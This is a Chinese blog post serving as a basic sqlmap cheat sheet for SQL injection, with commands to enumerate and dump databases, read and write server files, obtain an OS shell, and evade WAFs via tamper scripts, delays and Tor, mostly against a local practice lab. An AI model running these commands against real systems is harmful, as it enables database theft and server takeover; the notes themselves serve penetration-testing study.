<!DOCTYPE html>


<html lang="zh-CN">


<head>
  <meta charset="utf-8" />
   
  <meta name="keywords" content="生活,代码,学习" />
   
  <meta name="description" content="用于学习记录学习笔记" />
  
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1" />
  <title>
    SQL注入-基本教程 |  用于学习记录学习笔记
  </title>
  <meta name="generator" content="hexo-theme-ayer">
  
  <link rel="shortcut icon" href="/m.ico" />
  
  
<link rel="stylesheet" href="/dist/main.css">

  
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/Shen-Yu/cdn/css/remixicon.min.css">

  
<link rel="stylesheet" href="/css/custom.css">

  
  
<script src="https://cdn.jsdelivr.net/npm/pace-js@1.0.2/pace.min.js"></script>

  
  

  

<link rel="alternate" href="/atom.xml" title="WYC's Blog" type="application/atom+xml">
</head>

</html>

<body>
  <div id="app">
    
      
    <main class="content on">
      <section class="outer">
  <article
  id="post-SQL注入-基本教程"
  class="article article-type-post"
  itemscope
  itemprop="blogPost"
  data-scroll-reveal
>
  <div class="article-inner">
    
    <header class="article-header">
       
<h1 class="article-title sea-center" style="border-left:0" itemprop="name">
  SQL注入-基本教程
</h1>
 

    </header>
     
    <div class="article-meta">
      <a href="/2021/04/17/SQL%E6%B3%A8%E5%85%A5-%E5%9F%BA%E6%9C%AC%E6%95%99%E7%A8%8B/" class="article-date">
  <time datetime="2021-04-17T06:02:13.000Z" itemprop="datePublished">2021-04-17</time>
</a> 
  <div class="article-category">
    <a class="article-category-link" href="/categories/%E5%AD%A6%E4%B9%A0/">学习</a>
  </div>
  
<div class="word_count">
    <span class="post-time">
        <span class="post-meta-item-icon">
            <i class="ri-quill-pen-line"></i>
            <span class="post-meta-item-text"> 字数统计:</span>
            <span class="post-count">1.2k</span>
        </span>
    </span>

    <span class="post-time">
        &nbsp; | &nbsp;
        <span class="post-meta-item-icon">
            <i class="ri-book-open-line"></i>
            <span class="post-meta-item-text"> 阅读时长≈</span>
            <span class="post-count">5 分钟</span>
        </span>
    </span>
</div>
 
    </div>
      
    <div class="tocbot"></div>




  
    <div class="article-entry" itemprop="articleBody">
       
  <hr>
<p>一套基础的sqlmap语句：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">跑库：python sqlmap.py  --batch -t 4 -u &quot;http:&#x2F;&#x2F;xxxxx&#x2F;x?id&#x3D;1&quot; --dbs</span><br><span class="line"></span><br><span class="line">跑表：python sqlmap.py --batch -t 4  -u &quot;http:&#x2F;&#x2F;xxxxx&#x2F;x?id&#x3D;1&quot; -D 库名 --tables</span><br><span class="line"></span><br><span class="line">跑列：python sqlmap.py --batch -t 4  -u &quot;http:&#x2F;&#x2F;xxxxx&#x2F;x?id&#x3D;1&quot; -D 库名 -T 表名 --columns</span><br><span class="line"></span><br><span class="line">跑数据：python sqlmap.py --batch -t 4  -u &quot;http:&#x2F;&#x2F;xxxxx&#x2F;x?id&#x3D;1&quot; -D 库名 -T 表名 -C &quot;列名1,列名2&quot; --dump</span><br></pre></td></tr></table></figure>



<h3 id="用到的参数"><a href="#用到的参数" class="headerlink" title="用到的参数"></a>用到的参数</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">--technique    sqlmap中的注入技术</span><br><span class="line">--batch   默认选择，自动运行</span><br><span class="line">--current-db  当前数据库</span><br><span class="line">--current-user  当前数据库用户名</span><br><span class="line">--is-dba  查看当前用户是否为管理员权限</span><br><span class="line">--data   post型注入时的post数据</span><br><span class="line">--threads  最大并发线程（不要超过10）</span><br><span class="line">-r  跟http请求头的头部文件.txt--cookie  cookie注入</span><br><span class="line">--level   探测等级，3最好，5最全面</span><br><span class="line">--sql-shell   运行自定义sql语句</span><br><span class="line">--os-shell  运行操作系统命令</span><br><span class="line">--file-read  从数据库中读取文件</span><br><span class="line">--file-write &quot;本机路径&quot; --file-dest &quot;服务器路径&quot;  上传文件</span><br><span class="line">--tamper   跟自带绕过脚本--time-sec&#x3D;60 延时，用来绕waf</span><br><span class="line">过WAF--identify-waf 检测是否有waf</span><br><span class="line">--random-agent -v 2 使用任意浏览器进行绕过</span><br><span class="line">--hpp -v 3 使用HTTP 参数污染进行绕过</span><br><span class="line">--proxy&#x3D;211.211.211.211:8080 --proxy-cred&#x3D;211:985 使用代理</span><br><span class="line">--flush-session 清空会话，重构注入</span><br><span class="line">--hex 进行字符码转换</span><br><span class="line">--mobile 对移动端的服务器进行注入</span><br><span class="line">--tor  匿名注入</span><br><span class="line">--delay&#x3D;3.5 --time-sec&#x3D;60 使用长的延时来避免触发WAF的机制</span><br></pre></td></tr></table></figure>



<h3 id="0x01-–technique参数"><a href="#0x01-–technique参数" class="headerlink" title="0x01 –technique参数"></a>0x01 –technique参数</h3><p><strong>—technique</strong>是为sqlmap中的注入技术，在sqlmap中其支持5中不同模式的注入</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">B:Boolean-based-blind  （布尔型盲注）</span><br><span class="line">E:Error-based   （报错型注入）</span><br><span class="line">U:Union query-based  （联合注入）</span><br><span class="line">S:Starked queries   （通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数，可多语句查询注入）</span><br><span class="line">T:Time-based blind  （基于时间延迟注入）</span><br></pre></td></tr></table></figure>

<p>例如sqlmap语句：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py -u &quot;http:&#x2F;&#x2F;127.0.0.1&#x2F;sqli-labs-master&#x2F;Less-5&#x2F;?id&#x3D;1&quot; --technique E --dbs --batch</span><br></pre></td></tr></table></figure>



<h3 id="0x02-–data参数和–threads参数"><a href="#0x02-–data参数和–threads参数" class="headerlink" title="0x02 –data参数和–threads参数"></a>0x02 –data参数和–threads参数</h3><p>post注入时，post的数据就放在–data后，–threads加快跑的速率，不要超过10</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py -u &quot;http:&#x2F;&#x2F;127.0.0.1&#x2F;sqli-labs-master&#x2F;Less-11&#x2F;?id&#x3D;1&quot; --data &quot;uname&#x3D;1&amp;passwd&#x3D;11&amp;submit&#x3D;Submit&quot;</span><br><span class="line">--technique UES </span><br><span class="line">--dbms mysql --dbs --threads 8</span><br></pre></td></tr></table></figure>



<h3 id="0x03-r参数"><a href="#0x03-r参数" class="headerlink" title="0x03 -r参数"></a>0x03 -r参数</h3><p>将HTTP请求包的内容放在一个txt文件里面，cookie可以不用放，然后-r跟上txt文件的路径，让sqlmap自动跑，这里要注意将可能出现sql注入的请求参数的值后面要跟上”*“符号</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py -r 1.txt --dbs --threads 8 --technique BTES</span><br><span class="line">或者 </span><br><span class="line">python sqlmap.py -u &quot;http:&#x2F;&#x2F;127.0.0.1&#x2F;sqli-labs-master&#x2F;Less-18&#x2F;&quot; --user-agent&#x3D;&quot;Mozilla&#x2F;5.0 (Windows NT 10.0; WOW64; rv:61.0) Gecko&#x2F;20100101 Firefox&#x2F;61.0*&quot; --level 4 --dbs --threads 10 --technique BEST</span><br></pre></td></tr></table></figure>

<p>如果知道sql注入的确切位置，那么这里可以直接使用第二种方式注入</p>
<h3 id="0x04-–cookie参数"><a href="#0x04-–cookie参数" class="headerlink" title="0x04 –cookie参数"></a>0x04 –cookie参数</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">web应用基于cookie的身份验证，对于post请求，可以指定cookie，cookie注入时直接使用这个参数</span><br><span class="line">sqlmap -u &quot;url&quot; --cookie&#x3D;&quot;...&quot; --level 3 –-dbs</span><br></pre></td></tr></table></figure>



<h3 id="0x05-–os-shell-参数"><a href="#0x05-–os-shell-参数" class="headerlink" title="0x05 –os-shell 参数"></a>0x05 –os-shell 参数</h3><p>知道数据库为管理员权限，并且知道网址根目录，那么使用这一个参数，可以上传webshell和反弹shell。</p>
<p>用–is-dba查看是否为管理员权限</p>
<h3 id="0x06-–file-read参数"><a href="#0x06-–file-read参数" class="headerlink" title="0x06 –file-read参数"></a>0x06 –file-read参数</h3><p>知道网站的一些文件的目录，或者网站服务器里面的固定文件的目录，那么可以使用这个参数来读取文件内容：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py -u &quot;http:&#x2F;&#x2F;127.0.0.1&#x2F;?id&#x3D;1&quot; --file-read &quot;C:&#x2F;windows&#x2F;win.ini&quot;</span><br></pre></td></tr></table></figure>



<h3 id="0x07-–file-write-–file-dest参数"><a href="#0x07-–file-write-–file-dest参数" class="headerlink" title="0x07 –file-write –file-dest参数"></a>0x07 –file-write –file-dest参数</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">--file-write &quot;本机选择上传文件的路径&quot; --file-dest &quot;服务器根目录路径&quot;  </span><br><span class="line">知道一个站点存在sql注入且知道网站根目录的前提下可使用此参数</span><br></pre></td></tr></table></figure>



<h3 id="0x08-–tamper-参数"><a href="#0x08-–tamper-参数" class="headerlink" title="0x08 –tamper 参数"></a>0x08 –tamper 参数</h3><p>–tamper参数专门跟一些脚本的，比如说sqlmap自带的一些绕过的脚本</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python sqlmap.py xxxx --tamper &quot;脚本名&quot;</span><br></pre></td></tr></table></figure>

<p>常用的绕过脚本：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">apostrophemask.py 用utf8代替引号</span><br><span class="line">equaltolike.py  对等号的绕过，用like代替等号</span><br><span class="line">greatest.py  MySQL中绕过过滤’&gt;’</span><br><span class="line">space2hash.py 绕过空格的过滤</span><br><span class="line">halfversionedmorekeywords.py mysql数据库绕过防火墙</span><br><span class="line">ase64encode.py  将语句用base64编码</span><br><span class="line">between.py  替换&gt;号</span><br><span class="line">space2plus.py  用+替换空格</span><br><span class="line">chardoubleencode.py 双url编码</span><br><span class="line">randomcase.py  随机大小写</span><br><span class="line">randomcomments.py  用&#x2F;**&#x2F;分割sql关键字</span><br></pre></td></tr></table></figure>





<p>参考</p>
<blockquote>
<p><a href="https://my.oschina.net/u/4399679/blog/3372449" target="_blank" rel="noopener">https://my.oschina.net/u/4399679/blog/3372449</a></p>
</blockquote>
 
      <!-- reward -->
      
      <div id="reword-out">
        <div id="reward-btn">
          打赏
        </div>
      </div>
      
    </div>
    

    <!-- copyright -->
    
    <div class="declare">
      <ul class="post-copyright">
        <li>
          <i class="ri-copyright-line"></i>
          <strong>版权声明： </strong>
          本博客所有文章除特别声明外，著作权归作者所有。转载请注明出处！
        </li>
      </ul>
    </div>
    
    <footer class="article-footer">
       
<div class="share-btn">
      <span class="share-sns share-outer">
        <i class="ri-share-forward-line"></i>
        分享
      </span>
      <div class="share-wrap">
        <i class="arrow"></i>
        <div class="share-icons">
          
          <a class="weibo share-sns" href="javascript:;" data-type="weibo">
            <i class="ri-weibo-fill"></i>
          </a>
          <a class="weixin share-sns wxFab" href="javascript:;" data-type="weixin">
            <i class="ri-wechat-fill"></i>
          </a>
          <a class="qq share-sns" href="javascript:;" data-type="qq">
            <i class="ri-qq-fill"></i>
          </a>
          <a class="douban share-sns" href="javascript:;" data-type="douban">
            <i class="ri-douban-line"></i>
          </a>
          <!-- <a class="qzone share-sns" href="javascript:;" data-type="qzone">
            <i class="icon icon-qzone"></i>
          </a> -->
          
          <a class="facebook share-sns" href="javascript:;" data-type="facebook">
            <i class="ri-facebook-circle-fill"></i>
          </a>
          <a class="twitter share-sns" href="javascript:;" data-type="twitter">
            <i class="ri-twitter-fill"></i>
          </a>
          <a class="google share-sns" href="javascript:;" data-type="google">
            <i class="ri-google-fill"></i>
          </a>
        </div>
      </div>
</div>

<div class="wx-share-modal">
    <a class="modal-close" href="javascript:;"><i class="ri-close-circle-line"></i></a>
    <p>扫一扫，分享到微信</p>
    <div class="wx-qrcode">
      <img src="//api.qrserver.com/v1/create-qr-code/?size=150x150&data=https://wycisme.gitee.io/2021/04/17/SQL%E6%B3%A8%E5%85%A5-%E5%9F%BA%E6%9C%AC%E6%95%99%E7%A8%8B/" alt="微信分享二维码">
    </div>
</div>

<div id="share-mask"></div>  
  <ul class="article-tag-list" itemprop="keywords"><li class="article-tag-list-item"><a class="article-tag-list-link" href="/tags/%E5%AE%89%E5%85%A8/" rel="tag">安全</a></li></ul>

    </footer>
  </div>

   
  <nav class="article-nav">
    
      <a href="/2021/04/21/CTF-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/" class="article-nav-link">
        <strong class="article-nav-caption">上一篇</strong>
        <div class="article-nav-title">
          
            CTF-文件上传
          
        </div>
      </a>
    
    
      <a href="/2021/04/17/SQL%E6%B3%A8%E5%85%A5-POST%E7%99%BB%E5%BD%95%E6%A1%86/" class="article-nav-link">
        <strong class="article-nav-caption">下一篇</strong>
        <div class="article-nav-title">SQL注入-POST登录框</div>
      </a>
    
  </nav>

   
<!-- valine评论 -->
<div id="vcomments-box">
  <div id="vcomments"></div>
</div>
<script src="//cdn1.lncld.net/static/js/3.0.4/av-min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/valine@1.4.14/dist/Valine.min.js"></script>
<script>
  new Valine({
    el: "#vcomments",
    app_id: "",
    app_key: "",
    path: window.location.pathname,
    avatar: "monsterid",
    placeholder: "给我的文章加点评论吧~",
    recordIP: true,
  });
  const infoEle = document.querySelector("#vcomments .info");
  if (infoEle && infoEle.childNodes && infoEle.childNodes.length > 0) {
    infoEle.childNodes.forEach(function (item) {
      item.parentNode.removeChild(item);
    });
  }
</script>
<style>
  #vcomments-box {
    padding: 5px 30px;
  }

  @media screen and (max-width: 800px) {
    #vcomments-box {
      padding: 5px 0px;
    }
  }

  #vcomments-box #vcomments {
    background-color: #fff;
  }

  .v .vlist .vcard .vh {
    padding-right: 20px;
  }

  .v .vlist .vcard {
    padding-left: 10px;
  }
</style>

 
     
</article>

</section>
      <footer class="footer">
  <div class="outer">
    <ul>
      <li>
        Copyrights &copy;
        2015-2021
        <i class="ri-heart-fill heart_icon"></i> 文一冲
      </li>
    </ul>
    <ul>
      <li>
        
        
        
        由 <a href="https://hexo.io" target="_blank">Hexo</a> 强力驱动
        <span class="division">|</span>
        主题 - <a href="https://github.com/Shen-Yu/hexo-theme-ayer" target="_blank">Ayer</a>
        
      </li>
    </ul>
    <ul>
      <li>
        
        
        <span>
  <span><i class="ri-user-3-fill"></i>访问人数:<span id="busuanzi_value_site_uv"></span></s>
  <span class="division">|</span>
  <span><i class="ri-eye-fill"></i>浏览次数:<span id="busuanzi_value_page_pv"></span></span>
</span>
        
      </li>
    </ul>
    <ul>
      
    </ul>
    <ul>
      <li>
        <!-- cnzz统计 -->
        
        <script type="text/javascript" src='https://s9.cnzz.com/z_stat.php?id=1278069914&amp;web_id=1278069914'></script>
        
      </li>
    </ul>
  </div>
</footer>
      <div class="float_btns">
        <div class="totop" id="totop">
  <i class="ri-arrow-up-line"></i>
</div>

<div class="todark" id="todark">
  <i class="ri-moon-line"></i>
</div>

      </div>
    </main>
    <aside class="sidebar on">
      <button class="navbar-toggle"></button>
<nav class="navbar">
  
  <div class="logo">
    <a href="/"><img src="/m.ico" alt="WYC&#39;s Blog"></a>
  </div>
  
  <ul class="nav nav-main">
    
    <li class="nav-item">
      <a class="nav-item-link" href="/">主页</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/archives">归档</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/categories">分类</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/tags">标签</a>
    </li>
    
    <li class="nav-item">
      <a class="nav-item-link" href="/about">关于我</a>
    </li>
    
  </ul>
</nav>
<nav class="navbar navbar-bottom">
  <ul class="nav">
    <li class="nav-item">
      
      <a class="nav-item-link nav-item-search"  title="搜索">
        <i class="ri-search-line"></i>
      </a>
      
      
      <a class="nav-item-link" target="_blank" href="/atom.xml" title="RSS Feed">
        <i class="ri-rss-line"></i>
      </a>
      
    </li>
  </ul>
</nav>
<div class="search-form-wrap">
  <div class="local-search local-search-plugin">
  <input type="search" id="local-search-input" class="local-search-input" placeholder="Search...">
  <div id="local-search-result" class="local-search-result"></div>
</div>
</div>
    </aside>
    <script>
      if (window.matchMedia("(max-width: 768px)").matches) {
        document.querySelector('.content').classList.remove('on');
        document.querySelector('.sidebar').classList.remove('on');
      }
    </script>
    <div id="mask"></div>

<!-- #reward -->
<div id="reward">
  <span class="close"><i class="ri-close-line"></i></span>
  <p class="reward-p"><i class="ri-cup-line"></i>请我喝杯咖啡吧~</p>
  <div class="reward-box">
    
    <div class="reward-item">
      <img class="reward-img" src="/images/alipay.jpg">
      <span class="reward-type">支付宝</span>
    </div>
    
    
    <div class="reward-item">
      <img class="reward-img" src="/images/wechat.jpg">
      <span class="reward-type">微信</span>
    </div>
    
  </div>
</div>
    
<script src="/js/jquery-2.0.3.min.js"></script>


<script src="/js/lazyload.min.js"></script>

<!-- Tocbot -->


<script src="/js/tocbot.min.js"></script>

<script>
  tocbot.init({
    tocSelector: '.tocbot',
    contentSelector: '.article-entry',
    headingSelector: 'h1, h2, h3, h4, h5, h6',
    hasInnerContainers: true,
    scrollSmooth: true,
    scrollContainer: 'main',
    positionFixedSelector: '.tocbot',
    positionFixedClass: 'is-position-fixed',
    fixedSidebarOffset: 'auto'
  });
</script>

<script src="https://cdn.jsdelivr.net/npm/jquery-modal@0.9.2/jquery.modal.min.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/jquery-modal@0.9.2/jquery.modal.min.css">
<script src="https://cdn.jsdelivr.net/npm/justifiedGallery@3.7.0/dist/js/jquery.justifiedGallery.min.js"></script>

<script src="/dist/main.js"></script>

<!-- ImageViewer -->

<!-- Root element of PhotoSwipe. Must have class pswp. -->
<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">

    <!-- Background of PhotoSwipe. 
         It's a separate element as animating opacity is faster than rgba(). -->
    <div class="pswp__bg"></div>

    <!-- Slides wrapper with overflow:hidden. -->
    <div class="pswp__scroll-wrap">

        <!-- Container that holds slides. 
            PhotoSwipe keeps only 3 of them in the DOM to save memory.
            Don't modify these 3 pswp__item elements, data is added later on. -->
        <div class="pswp__container">
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
            <div class="pswp__item"></div>
        </div>

        <!-- Default (PhotoSwipeUI_Default) interface on top of sliding area. Can be changed. -->
        <div class="pswp__ui pswp__ui--hidden">

            <div class="pswp__top-bar">

                <!--  Controls are self-explanatory. Order can be changed. -->

                <div class="pswp__counter"></div>

                <button class="pswp__button pswp__button--close" title="Close (Esc)"></button>

                <button class="pswp__button pswp__button--share" style="display:none" title="Share"></button>

                <button class="pswp__button pswp__button--fs" title="Toggle fullscreen"></button>

                <button class="pswp__button pswp__button--zoom" title="Zoom in/out"></button>

                <!-- Preloader demo http://codepen.io/dimsemenov/pen/yyBWoR -->
                <!-- element will get class pswp__preloader--active when preloader is running -->
                <div class="pswp__preloader">
                    <div class="pswp__preloader__icn">
                        <div class="pswp__preloader__cut">
                            <div class="pswp__preloader__donut"></div>
                        </div>
                    </div>
                </div>
            </div>

            <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
                <div class="pswp__share-tooltip"></div>
            </div>

            <button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)">
            </button>

            <button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)">
            </button>

            <div class="pswp__caption">
                <div class="pswp__caption__center"></div>
            </div>

        </div>

    </div>

</div>

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.css">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/default-skin/default-skin.min.css">
<script src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/photoswipe@4.1.3/dist/photoswipe-ui-default.min.js"></script>

<script>
    function viewer_init() {
        let pswpElement = document.querySelectorAll('.pswp')[0];
        let $imgArr = document.querySelectorAll(('.article-entry img:not(.reward-img)'))

        $imgArr.forEach(($em, i) => {
            $em.onclick = () => {
                // slider展开状态
                // todo: 这样不好，后面改成状态
                if (document.querySelector('.left-col.show')) return
                let items = []
                $imgArr.forEach(($em2, i2) => {
                    let img = $em2.getAttribute('data-idx', i2)
                    let src = $em2.getAttribute('data-target') || $em2.getAttribute('src')
                    let title = $em2.getAttribute('alt')
                    // 获得原图尺寸
                    const image = new Image()
                    image.src = src
                    items.push({
                        src: src,
                        w: image.width || $em2.width,
                        h: image.height || $em2.height,
                        title: title
                    })
                })
                var gallery = new PhotoSwipe(pswpElement, PhotoSwipeUI_Default, items, {
                    index: parseInt(i)
                });
                gallery.init()
            }
        })
    }
    viewer_init()
</script>

<!-- MathJax -->

<!-- Katex -->

<!-- busuanzi  -->


<script src="/js/busuanzi-2.3.pure.min.js"></script>


<!-- ClickLove -->

<!-- ClickBoom1 -->

<!-- ClickBoom2 -->

<!-- CodeCopy -->


<link rel="stylesheet" href="/css/clipboard.css">

<script src="https://cdn.jsdelivr.net/npm/clipboard@2/dist/clipboard.min.js"></script>
<script>
  function wait(callback, seconds) {
    var timelag = null;
    timelag = window.setTimeout(callback, seconds);
  }
  !function (e, t, a) {
    var initCopyCode = function(){
      var copyHtml = '';
      copyHtml += '<button class="btn-copy" data-clipboard-snippet="">';
      copyHtml += '<i class="ri-file-copy-2-line"></i><span>COPY</span>';
      copyHtml += '</button>';
      $(".highlight .code pre").before(copyHtml);
      $(".article pre code").before(copyHtml);
      var clipboard = new ClipboardJS('.btn-copy', {
        target: function(trigger) {
          return trigger.nextElementSibling;
        }
      });
      clipboard.on('success', function(e) {
        let $btn = $(e.trigger);
        $btn.addClass('copied');
        let $icon = $($btn.find('i'));
        $icon.removeClass('ri-file-copy-2-line');
        $icon.addClass('ri-checkbox-circle-line');
        let $span = $($btn.find('span'));
        $span[0].innerText = 'COPIED';
        
        wait(function () { // 等待两秒钟后恢复
          $icon.removeClass('ri-checkbox-circle-line');
          $icon.addClass('ri-file-copy-2-line');
          $span[0].innerText = 'COPY';
        }, 2000);
      });
      clipboard.on('error', function(e) {
        e.clearSelection();
        let $btn = $(e.trigger);
        $btn.addClass('copy-failed');
        let $icon = $($btn.find('i'));
        $icon.removeClass('ri-file-copy-2-line');
        $icon.addClass('ri-time-line');
        let $span = $($btn.find('span'));
        $span[0].innerText = 'COPY FAILED';
        
        wait(function () { // 等待两秒钟后恢复
          $icon.removeClass('ri-time-line');
          $icon.addClass('ri-file-copy-2-line');
          $span[0].innerText = 'COPY';
        }, 2000);
      });
    }
    initCopyCode();
  }(window, document);
</script>


<!-- CanvasBackground -->


    
  </div>
</body>

</html>